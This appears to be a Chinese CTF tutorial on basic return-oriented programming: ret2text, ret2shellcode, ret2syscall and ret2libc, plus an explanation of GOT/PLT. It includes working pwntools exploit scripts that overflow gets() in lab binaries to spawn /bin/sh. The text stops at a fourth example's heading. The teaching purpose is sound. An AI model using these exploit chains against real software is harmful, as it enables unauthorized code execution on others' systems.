基本ROP

基本ROP

ret2text

原理:

ret2text 即控制程序执行程序本身已有的的代码(.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码(也就是 gadgets),这就是我们所要说的ROP。这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。

ret2text(ret to text),也就是说我们的利用点在原文件中寻找相对应的代码即可(进程存在危险函数如system(“/bin”)或execv(“/bin/sh”)的片段,可以直接劫持返回地址到目标函数地址上。从而getshell。),控制程序执行程序本身已有的的代码 (.text)。

利用前提

开启了NX,栈上无法写入shellcode

ret2shellcode

原理:

ret2shellcode,即控制程序执行 shellcode代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。说白了,程序中这次没有类似于system(“/bin/sh”)后门函数,需要自己来填充。

利用前提:

  1. 存在溢出,并且还要能够控制返回地址。
  2. 运行时,shellcode 所在的区域要拥有执行权限(NX保护关闭、bss段可执行)
  3. 操作系统还需要关闭 ASLR (地址空间布局随机化) 保护 。(或关闭PIE保护)

解题步骤:

  • 先使用cyclic测试出溢出点,构造初步的payload
  • 确定程序中的溢出位,看是否可在bss段传入数据
  • 使用GDB的vmmap查看bss段(一般为用户提交的变量在bss段中)
  • 先发送为shellcode的数据写入到bss段
  • 在将程序溢出到上一步用户提交变量的地址

实例

以ret2shellcode为例

查一下保护,没啥保护,32位程序

1
2
3
4
5
6
7
8
9
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Debuginfo: Yes

看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(s);
strncpy(buf2, s, 0x64u);
printf("bye bye ~");
return 0;
}

它将s的值复制到了buf2处,而buf2处于bss段,地址为0x0804A080

动态调试一下,看看bss段是否可执行。(无法启动调试就给ubuntu加装32位运行库)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Start      End        Perm	Name
0x08048000 0x08049000 r-xp /home/xyq/BUUCTF/ret2shellcode
0x08049000 0x0804a000 r-xp /home/xyq/BUUCTF/ret2shellcode
0x0804a000 0x0804b000 rwxp /home/xyq/BUUCTF/ret2shellcode
0xf7dde000 0xf7fb3000 r-xp /lib/i386-linux-gnu/libc-2.27.so
0xf7fb3000 0xf7fb4000 ---p /lib/i386-linux-gnu/libc-2.27.so
0xf7fb4000 0xf7fb6000 r-xp /lib/i386-linux-gnu/libc-2.27.so
0xf7fb6000 0xf7fb7000 rwxp /lib/i386-linux-gnu/libc-2.27.so
0xf7fb7000 0xf7fba000 rwxp mapped
0xf7fcf000 0xf7fd1000 rwxp mapped
0xf7fd1000 0xf7fd4000 r--p [vvar]
0xf7fd4000 0xf7fd6000 r-xp [vdso]
0xf7fd6000 0xf7ffc000 r-xp /lib/i386-linux-gnu/ld-2.27.so
0xf7ffc000 0xf7ffd000 r-xp /lib/i386-linux-gnu/ld-2.27.so
0xf7ffd000 0xf7ffe000 rwxp /lib/i386-linux-gnu/ld-2.27.so
0xfffdd000 0xffffe000 rwxp [stack]

这就是这个程序的虚拟内存,我们可以看到0x0804A080处于0x0804a000 0x0804b000之间,说明那里就是bss段,同时,这里的bss段是可执行的。

构造一个长一点的字符串手动测量main的栈的长度,为112字节

然后我们就可以构造exp了,具体示例如下

1
2
3
4
5
6
7
8
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112,b'A') + p32(buf2_addr))
sh.interactive()

其中,shellcraft.sh()就相当于执行了system(‘/bin/sh’)或evecve(‘/bin/sh’)
shellcode.ljust(112, ‘A’)的重点在于ljust(112, ‘A’),我们知道shellcode是一个字符型,而ljust() 方法返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串。如果指定的长度小于原字符串的长度则返回原字符串。语法为str.ljust(width[, fillchar]),其中width – 指定字符串长度。fillchar – 填充字符,默认为空格。

ret2syscall(32位ELF)

原理:

顾名思义,ret to syscall,就是调用系统函数以达到getshell的目的
在计算中,系统调用是一种编程方式,计算机程序从该程序中向执行其的操作系统内核请求服务。这可能包括与硬件相关的服务(例如,访问硬盘驱动器),创建和执行新进程以及与诸如进程调度之类的集成内核服务进行通信。系统调用提供了进程与操作系统之间的基本接口。
至于系统调用在其中充当什么角色,稍后再看,现在我们要做的是:让程序调用execve(“/bin/sh”,NULL,NULL)函数即可拿到shell

传参方式

32位

  1. 首先将系统调用号 传入 eax
  2. 然后将参数 从左到右 依次存入 ebxecxedx寄存器中
  3. 回值存在eax寄存器

64位

  1. 首先将系统调用号 传入 rax
  2. 然后将参数 从左到右 依次存入rdirsirdx寄存器中
  3. 返回值存在rax寄存器

常见的系统调用号

32位

syscall %eax %ebx(arg0) %ecx(arg1) %edx(arg2)
read 0x03 unsigned int fd char *buf size_t count
write 0x04 unsigned int fd const char *buf size_t count
execve 0x0b const char *filename const char *const *argv const char *const *envp

64位

syscall %eax %ebx(arg0) %ecx(arg1) %edx(arg2)
sys_read 0x0 unsigned int fd char *buf size_t count
sys_write 0x1 unsigned int fd const char *buf size_t count
sys_execve 0x3B const char *filename const char *const argv[] const char *const envp[]

步骤:

调用此函数的具体的步骤是这样的:因为该程序是 32 位,所以:

eax 应该为 0xb
ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以
ecx 应该为 0
edx 应该为 0
最后再执行int 0x80触发中断即可执行execve()获取shell

这么写的原因是:

系统在运行的时候会使用上面四个寄存器,所以那么上面内容我们可以写为int 0x80(eax,ebx,ecx,edx)。只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们再执行 int 0x80 就可执行对应的系统调用。

在我们最开始学习汇编函数的时候,我们最常用到的就是push,pop,ret指令,而这一次我们将使用pop和ret的组合来控制寄存器的值以及执行方向。例如:在一个栈上,假设栈顶的值为2,当我们pop eax,时,2就会存进eax寄存器。同样的,我们可以用同样的方法完成execve()函数参数的控制

1
2
3
4
pop eax# 系统调用号载入, execve为0xb
pop ebx# 第一个参数, /bin/sh的string
pop ecx# 第二个参数,0 空指针,没有意义
pop edx# 第三个参数,0

**补充:**在 64 位系统中,通过syscall指令实现系统调用,系统调用号放在RAX寄存器中,参数放置在RDI、RSI、RDX、R10、R8和R9等寄存器中。

实例:

以rop为例

查一下保护,开启了NX保护了,不能使用ret2shellcode

1
2
3
4
5
6
7
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes

手动的测量栈的长度,位112字节

之后,我们要用gadgets来获取shell,而对应的 shell 获取则是利用系统调用


**补充:**gadgets

“Gadgets” 通常是指一系列可以被攻击者利用的机器码指令序列。在漏洞利用场景中,特别是在基于栈溢出或堆溢出等内存破坏漏洞利用时,攻击者会寻找程序中已经存在的代码片段(即 gadgets),这些代码片段可以帮助他们实现一些特定的操作,如修改控制流、读写内存等。


在这里,我们要利用execve(“/bin/sh”,NULL,NULL)系统调用来获取 shell。

而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。具体寻找 gadgets的方法,我们可以使用 ropgadgets 这个工具。工具的具体使用在ropgadgets.md

首先,我们来寻找控制 eax 的gadgets:

1
2
3
4
5
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

可以看到有上述几个都可以控制 eax,我选取第二个来作为 gadgets。
类似的,我们可以得到控制其它寄存器的 gadgets

ebx:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

这里,我选择0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret 这个可以直接控制其它三个寄存器。

此外,我们需要获得 /bin/sh 字符串对应的地址。

1
2
3
Strings information
============================================================
0x080be408 : /bin/sh

可以找到对应的地址,此外,还有 int 0x80 的地址,如下

1
2
3
4
Gadgets information
============================================================
0x08049421 : int 0x80
0x080890b5 : int 0xcf

同时,也找到对应的地址了。
下面就是对应的 payload,其中 0xb 为 execve 对应的系统调用号。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

在这里我们关注一下payload,如下是它的详细解释

  • flat 函数:是 pwn 库中的一个函数,用于将多个元素(可以是整数、字符串等)扁平化为一个字节串。在这里,它将一系列元素组合成一个用于发送给目标程序的攻击载荷。
  • pop_eax_ret, 0xb:pop_eax_ret是一个地址,指向一个包含pop eax; ret指令序列的内存位置。0xb对应的系统调用,是execve系统调用,它用于执行一个程序。将0xb放在pop_eax_ret之后,当pop eax指令执行时,会将0xb这个系统调用号放入 EAX 寄存器,为后续的系统调用做准备。
  • **pop_edx_ecx_ebx_ret:**同上,将0, 0, binsh放到对应寄存器中
  • int_0x80指令地址int_0x80是一个地址,指向包含int 0x80指令的内存位置。在 x86 架构下,int 0x80是进行系统调用的触发指令。当 EAX 寄存器中已经设置好系统调用号(0xb),并且其他相关寄存器(如 EBX、ECX、EDX)也设置好了相应的参数后,执行int_0x80指令就可以触发系统调用,实现诸如执行一个 shell(/bin/sh)等操作。

ret2libc

原理:

ret2libc 这种攻击方式主要是针对 动态链接(Dynamic linking) 编译的程序,因为正常情况下是无法在程序中找到像 system() 、execve() 这种系统级函数,因为程序是动态链接生成的,所以在程序运行时会调用 libc.so (程序被装载时,动态链接器会将程序所有所需的动态链接库加载至进程空间,libc.so 就是其中最基本的一个),libc.so 是 linux 下 C 语言库中的运行库glibc 的动态链接版,并且 libc.so 中包含了大量的可以利用的函数,包括 system() 、execve() 等系统级函数,我们可以通过找到这些函数在内存中的地址覆盖掉返回地址来获得当前进程的控制权。通常情况下,我们会选择执行 system(“/bin/sh”) 来打开 shell。

什么是动态链接

动态链接 是指在程序装载时通过 动态链接器 将程序所需的所有 动态链接库(Dynamic linking library) 装载至进程空间中( 程序按照模块拆分成各个相对独立的部分),当程序运行时才将他们链接在一起形成一个完整程序的过程。它诞生的最主要的的原因就是 静态链接 太过于浪费内存和磁盘的空间,并且现在的软件开发都是模块化开发,不同的模块都是由不同的厂家开发,在 静态链接 的情况下,一旦其中某一模块发生改变就会导致整个软件都需要重新编译,而通过 动态链接 的方式就推迟这个链接过程到了程序运行时进行。这样做有以下几点好处:

  1. 节省内存、磁盘空间:
    如磁盘中有两个程序,p1、p2,且他们两个都包含 lib.o 这个模块,在 静态链接 的情况下他们在链接输出可执行文件时都会包含 lib.o 这个模块,这就造成了磁盘空间的浪费。当这两个程序运行时,内存中同样也就包含了这两个相同的模块,这也就使得内存空间被浪费。当系统中包含大量类似 lib.o 这种被多个程序共享的模块时,也就会造成很大空间的浪费。在 动态链接 的情况下,运行 p1 ,当系统发现需要用到 lib.o ,就会接着加载 lib.o 。这时我们运行 p2 ,就不需要重新加载 lib.o 了,因为此时 lib.o 已经在内存中了,系统仅需将两者链接起来,此时内存中就只有一个 lib.o 节省了内存空间。
  2. 程序更新更简单:
    比如程序 p1 所使用的 lib.o 是由第三方提供的,等到第三方更新、或者为 lib.o 打补丁的时候,p1 就需要拿到第三方最新更新的 lib.o ,重新链接后在将其发布给用户。程序依赖的模块越多,就越发显得不方便,毕竟都是从网络上获取新资源。在 动态链接 的情况下,第三方更新 lib.o 后,理论上只需要覆盖掉原有的 lib.o ,就不必重新链接整个程序,在程序下一次运行时,新版本的目标文件就会自动装载到内存并且链接起来,就完成了升级的目标。
  3. 增强程序扩展性和兼容性:
    动态链接 的程序在运行时可以动态地选择加载各种模块,也就是我们常常使用的插件。软件的开发商开发某个产品时会按照一定的规则制定好程序的接口,其他开发者就可以通过这种接口来编写符合要求的动态链接文件,以此来实现程序功能的扩展。增强兼容性是表现在 动态链接 的程序对不同平台的依赖差异性降低,比如对某个函数的实现机制不同,如果是 静态链接 的程序会为不同平台发布不同的版本,而在 动态链接 的情况下,只要不同的平台都能提供一个动态链接库包含该函数且接口相同,就只需用一个版本了。
    总而言之,动态链接 的程序在运行时会根据自己所依赖的 动态链接库 ,通过 动态链接器 将他们加载至内存中,并在此时将他们链接成一个完整的程序。Linux 系统中,ELF 动态链接文件被称为 动态共享对象(Dynamic Shared Objects) , 简称 共享对象 一般都是以 “.so” 为扩展名的文件;在 windows 系统中就是常常软件报错缺少 xxx.dll 文件。

GOT与PLT


参考:

https://www.yuque.com/cyberangel/rg9gdm/crpf61#
https://blog.csdn.net/Zheng__Huang/article/details/119484353
https://worktile.com/kb/p/30008


这两个必须放到一起看。

GOT(Global Offset Table|全局偏量表),包含所有需要动态链接的外部函数的地址(在第一次执行后)

PLT(Procedure Link Table|过程链接表),过程链接表,包含调用外部函数的跳转指令(跳转到GOT表中),以及初始化外部调用指令(用于链接器动态绑定dl_runtime_resolve)

初探

首先,系统调用(call)了在动态对象里的函数,例如scanf用汇编表示就是如下

1
call scanf@plt   #不是真的这样写,只是举个例子

然后我们跟进一下,会发现有三行代码

1
2
3
jmp QWORD PTR [rip+0x200a4a]	#0x201020
push 0x1
jmp 0x5b0

意思是:

1
2
3
jmp 一个地址
push 一个值到栈
jmp 一个地址

其实看函数名称就可以知道这里是scanf的PLT表,PLT是什么,先按下不表,我们先看第一个jmp跳到哪了。第一个jmp语句是jmp QWORD PTR [rip+0x200a4a] #0x201020,其中QWORD PTR是一个操作数大小限定符,QWORD 代表 “Quad - Word”,即 8 个字节(64 位)。PTR 是 “pointer” 的缩写,表示指针类型。所以 “QWORD PTR” 的意思是按照 8 字节(64 位)的大小来读取内存中的数据作为指针。最后的[rip+0x200a4a]是一种相对寻址方式,以rip的值为基础,加上偏移量0x200a4a,计算出一个内存地址,即为0x201020在这个内存地址上读取数据。而这个地址就是就是PLT表对应的GOT表,而0x201020正是储存着下一条命令push的内存地址,我们用gdb的命令查看一下内存就可以看到,这个0x5d6就是push 0x1的地址。

1
0x201020:	0x000005d6	0x00000000	0x00000000	0x0000000

于是,我们就总结出了使用动态链接后的函数调用过程,即为

1
call scnaf --> scanf的PLT表 --> scanf的GOT表

深入

上面是动态链接的工作过程的简述,下面我们讨论为什么要这样干:就是延迟绑定机制,这是一种在程序过程中动态链接库函数调用的优化机制。在动态链接中,程序中的函数调用可能会引用外部共享库(如 Linux 中的.so 文件)中的函数。延迟绑定机制不是在程序启动时就解析和绑定所有外部函数的地址,而是将这个过程推迟到函数第一次被调用时。但是此时此刻程序已经编译就好了,不可能把解析后的地址塞到程序要调用函数的那个地方,所以就需要PLT表和GOT表,其中,PLT表是一个代码段,包含了一系列用于调用外部函数的指令序列,而GOT 是一个数据段,用于存储外部函数的实际地址。

但是,这里就又有了一个新问题,当这个函数是第一次调用呢?即GOT表中还没有储存这个函数的实际地址的时候,程序有时怎样运行的呢,其实很简单,如下是首次调用流程

  • 当程序第一次调用一个外部函数时,控制流会转到 PLT 中的相应条目。这个 PLT 条目会通过 GOT 中的相应条目来检查函数地址是否已经被解析。
  • 由于是第一次调用,GOT 中的函数地址通常还未被解析,此时 PLT 中的代码会调用一个特殊的运行时解析函数(如在 Linux 系统中是dl_runtime_resolve)来查找并确定外部函数的实际地址。
  • 一旦确定了函数地址,这个地址就会被存储在 GOT 中对应的位置。

首次调用完后,GOT表中就储存了共享对象中某个函数的地址,下一次调用时,程序就会从GOT表中获取地址而不再需要运行时解析,这样就提高了后续调用的效率。

下面,我们来看一个实例,(来源:https://www.yuque.com/cyberangel/rg9gdm/crpf61#)
编写两个模块,一个是程序自身的代码模块,另一个是共享对象模块。以此来学习动态链接的程序是如何进行模块内、模块间的函数调用和数据访问,共享文件如下:

1
2
3
4
5
6
7
8
/*共享对象*/
got_extern.c
#include <stdio.h>
int b;
void test()
{
printf("test\n");
}

编写代码模块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/*代码模块*/
got.c
#include <stdio.h>
static int a; <--
extern int b; <--
extern void test(); <--
int fun()
{
a = 1;
b = 2;
}
int main(int argc, char const *argv[])
{
fun();
test();
printf("hey!");
return 0;
}

解释一下带箭头的三句:

  • static int a;:声明了一个静态的整型全局变量 a。静态全局变量的特点是它的作用域仅限于当前源文件(在这个例子中就是 got.c 文件),其他源文件无法直接访问它。这里对 a 进行了声明但未初始化,在 C 语言中,未初始化的静态全局变量会被自动初始化为 0。
  • extern int b;:声明了一个整型的外部变量 b。这表明 b 是在其他源文件中定义的,在当前源文件中只是声明要使用它。
  • extern void test();:声明了一个外部函数 test(),说明这个函数是在其他源文件中定义的,同样在当前源文件中只是声明要使用它,在链接阶段需要和其定义所在的源文件进行正确链接。

然后将代码模块和共享模块一同编译

之后用objdump(Linux自带的反汇编命令)查看反汇编代码objdump -D -Mintel got:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
000011b9 <fun>:
11b9: 55 push ebp
11ba: 89 e5 mov ebp,esp
11bc: e8 63 00 00 00 call 1224 <__x86.get_pc_thunk.ax>
11c1: 05 3f 2e 00 00 add eax,0x2e3f
11c6: c7 80 24 00 00 00 01 mov DWORD PTR [eax+0x24],0x1
11cd: 00 00 00
11d0: 8b 80 ec ff ff ff mov eax,DWORD PTR [eax-0x14]
11d6: c7 00 02 00 00 00 mov DWORD PTR [eax],0x2
11dc: 90 nop
11dd: 5d pop ebp
11de: c3 ret
000011df <main>:
11df: 8d 4c 24 04 lea ecx,[esp+0x4]
11e3: 83 e4 f0 and esp,0xfffffff0
11e6: ff 71 fc push DWORD PTR [ecx-0x4]
11e9: 55 push ebp
11ea: 89 e5 mov ebp,esp
11ec: 53 push ebx
11ed: 51 push ecx
11ee: e8 cd fe ff ff call 10c0 <__x86.get_pc_thunk.bx>
11f3: 81 c3 0d 2e 00 00 add ebx,0x2e0d
11f9: e8 bb ff ff ff call 11b9 <fun>
11fe: e8 5d fe ff ff call 1060 <test@plt>
1203: 83 ec 0c sub esp,0xc
1206: 8d 83 08 e0 ff ff lea eax,[ebx-0x1ff8]
120c: 50 push eax
120d: e8 2e fe ff ff call 1040 <printf@plt>
1212: 83 c4 10 add esp,0x10
1215: b8 00 00 00 00 mov eax,0x0
121a: 8d 65 f8 lea esp,[ebp-0x8]
121d: 59 pop ecx
121e: 5b pop ebx
121f: 5d pop ebp
1220: 8d 61 fc lea esp,[ecx-0x4]
1223: c3 ret
模块内部调用:

main()函数中调用 fun()函数 ,指令为:11f9: e8 bb ff ff ff call 11b9 <fun>
fun() 函数所在的地址为 0x000011b9 ,机器码 e8 代表 call 指令,为什么后面是 bb ff ff ff 而不是 b9 11 00 00 (小端存储,数据的低位字节存于低地址,高位字节存于高地址。)呢?这后面的四个字节代表着目的地址相对于当前指令的下一条指令地址的偏移,即 0x11f9 + 0x5 + (-69) = 0x11b9 ,0xffffffbb 是 -69 的补码形式,这样做就可以使程序无论被装载到哪里都会正常执行。(太底层了,理解就行)

模块内部数据访问

ELF 文件是由很多很多的 段(segment) 所组成,常见的就如 .text (代码段) 、.data(数据段,存放已经初始化的全局变量或静态变量)、.bss(数据段,存放未初始化全局变量)等,这样就能做到数据与指令分离互不干扰。在同一个模块中,一般前面的内存区域存放着代码后面的区域存放着数据(这里指的是 .data 段)。那么指令是如何访问远在 .data 段 中的数据呢?

观察 fun() 函数中给静态变量 a 赋值的指令:

1
2
3
4
11bc:	e8 63 00 00 00       	call   1224 <__x86.get_pc_thunk.ax>
11c1: 05 3f 2e 00 00 add eax,0x2e3f
11c6: c7 80 24 00 00 00 01 mov DWORD PTR [eax+0x24],0x1
11cd: 00 00 00

它首先调用了 __x86.get_pc_thunk.ax() 函数, __x86.get_pc_thunk.ax()函数代码如下:

1
2
3
00001224 <__x86.get_pc_thunk.ax>:
1224: 8b 04 24 mov eax,DWORD PTR [esp]
1227: c3 ret

这个函数的作用就是把返回地址的值放到 eax 寄存器中,也就是把0x000011c1保存到eax中,然后再加上 0x2e3f ,最后再加上 0x24 。即 0x000011c1 + 0x2e3f + 0x24 = 0x4024,这个值就是相对于模块加载基址的值。通过这样就能访问到模块内部的数据。

模块间数据访问

变量 b 被定义在其他模块中,其地址需要在程序装载时才能够确定。利用到前面的代码地址无关的思想,把地址相关的部分放入数据段中,然而这里的变量 b 的地址与其自身所在的模块装载的地址有关。解决:ELF 中在数据段里面建立了一个指向这些变量的指针数组,也就是我们所说的 GOT 表(Global offset Table, 全局偏移表 ),它的功能就是当代码需要引用全局变量时,可以通过 GOT 表间接引用。

查看反汇编代码中是如何访问变量 b 的:

1
2
3
4
5
6
11bc:	e8 63 00 00 00       	call   1224 <__x86.get_pc_thunk.ax>
11c1: 05 3f 2e 00 00 add eax,0x2e3f
11c6: c7 80 24 00 00 00 01 mov DWORD PTR [eax+0x24],0x1
11cd: 00 00 00
11d0: 8b 80 ec ff ff ff mov eax,DWORD PTR [eax-0x14]
11d6: c7 00 02 00 00 00 mov DWORD PTR [eax],0x2

计算变量 b 在 GOT 表中的位置,0x11c1 + 0x2e3f - 0x14 = 0x3fec ,查看 GOT 表的位置。
命令 objdump -h got ,查看ELF文件中的节头内容:

1
.got          00000018  00003fe8  00003fe8  00002fe8  2**2

这里可以看到 .got 在文件中的偏移是 0x00003fe8,现在来看在动态连接时需要重定位的项,使用 objdump -R got 命令

1
00003fec R_386_GLOB_DAT    b

可以看到变量b的地址需要重定位,位于0x00003fec,在GOT表中的偏移就是4,也就是第二项(每四个字节为一项),这个值正好对应之前通过指令计算出来的偏移值。

模块间函数调用

模块间函数调用用到了延迟绑定,都是函数名@plt的形式

DEP防护

开启之后栈上就没有可执行权限了,和NX保护很像

实战

实例1

这个实例先对简单,和ret2text很像

**示例:**https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/ret2libc/ret2libc1

查一下保护,开启了NX保护,32位

1
2
3
4
5
6
7
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes

查看源码

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(s);
return 0;
}

发现了溢出点gets(s);,查看栈,或者手动测量,得知偏移量是112字节(0x70)

然后我们找/bin/sh地址为0x08048720

然后我们找system函数,它在secure函数中被调用,但是它在动态库中,所以我们可以找到system@plt的地址,我们可以直接覆盖函数返回地址使其调用 system()@plt 模拟 system() 函数真实调用。地址为08048460

于是,我们就可以构架如下exp:

1
2
3
4
5
6
7
8
9
10
from pwn import *

sh = process('./ret2libc1')

binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)

sh.interactive()

中间的'b' * 4是一个虚假的返回地址,因为调用一个函数是先要把一个返回地址压入栈,然后才是参数

实例2

示例:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/ret2libc/ret2libc1

查一下保护,NX保护开启,32位程序

1
2
3
4
5
6
7
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes

运行一下,啥也没有

1
2
3
RET2LIBC >_<
114514
~$

看一下源码,首先是main函数

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(s); <--
return 0;
}

可以看到用了gets函数,是一个溢出点。可以通过IDA或者手动测量得出栈的长度,为112字节。

再看一下旁边的secure函数

1
2
3
4
5
6
7
8
9
10
11
12
13
void secure()
{
time_t v0; // eax
int input; // [esp+18h] [ebp-10h] BYREF
int secretcode; // [esp+1Ch] [ebp-Ch]

v0 = time(0);
srand(v0);
secretcode = rand();
__isoc99_scanf("%d", &input);
if ( input == secretcode )
system("shell!?");
}

逻辑简单来说就是以时间戳为种子,生成随机数,与用户输入的值相比较,如果相同,执行system函数。
而且system处于共享对象中,第一次调用函数时,会把函数真实的地址写入got表中,所以我们可以直接覆盖函数返回地址使其调用 system()@plt 模拟 system() 函数真实调用。IDA 中找到 system@plt 的地址

既然有了system函数,我们接下来找/bin/sh,既可以通过ropgadget找,也可以通过IDA找,最后其地址为0x08048720

最后,我们构建如下exp:

1
2
3
4
5
6
7
8
9
10
from pwn import *

sh = process('./ret2libc1')

binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)

sh.interactive()

实例3

示例文件:https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/stackoverflow/ret2libc/ret2libc2

查一下保护,NX保护,32位

1
2
3
4
5
6
7
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes

运行一下,没啥特别

1
2
Something surprise here, but I don't think it will work.
What do you think ????

看一下源码,main函数

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("Something surprise here, but I don't think it will work.");
printf("What do you think ?");
gets(s);
return 0;
}

gets函数,有溢出点,栈长112字节

看一下secure函数

1
2
3
4
5
6
7
8
9
10
11
12
13
void secure()
{
time_t v0; // eax
int input; // [esp+18h] [ebp-10h] BYREF
int secretcode; // [esp+1Ch] [ebp-Ch]

v0 = time(0);
srand(v0);
secretcode = rand();
__isoc99_scanf(&unk_8048760, &input);
if ( input == secretcode )
system("no_shell_QQ");
}

和上面一样,随机数,并且调用了system函数,并且在动态对象里,而且这是第一次调用,system@plt地址是0x08048490

接下来我们找/bin/sh,但是,没有找到/bin/sh,但是,我们却在bss段内找到一个可利用空间。

那么我们就可以构建如下exp:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
bss_addr = 0x0804A080
gets_plt = 0x08048460
sys_plt = 0x08048490

io=process('./ret2libc2')
io.recvuntil('What do you think ?')
payload = 'A'*112 + p32(gets_plt) + p32(sys_plt) + p32(bss_addr)+p32(bss_addr)
io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()

payload解读:
首先使用112个A字符填充栈,使栈发生溢出,再用gets函数的plt地址来覆盖原返回地址,使程序流执行到gets函数,参数就是bss段的地址(bss段的变量),目的是为了使用gets函数将/bin/sh 写入到bss段中。接下来在使用systm函数覆盖gets函数的返回地址,使程序执行到system函数,其参数也是bss段中的内容,也就是/bin/sh。最后的io.sendline(‘/bin/sh’)是为了将bss段上变量的内容替换成/bin/sh(也就是说在执行sendline(‘/bin/sh’)之前,bss段上的变量未被初始化,其内容为空)。

至于为什么要写成payload = ‘A’*112 + p32(gets_plt) + p32(sys_plt) + p32(bss_addr)+p32(bss_addr),那是因为sys_plt要当作gets_plt的返回值。

实例4

示例:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/ret2libc/ret2libc3

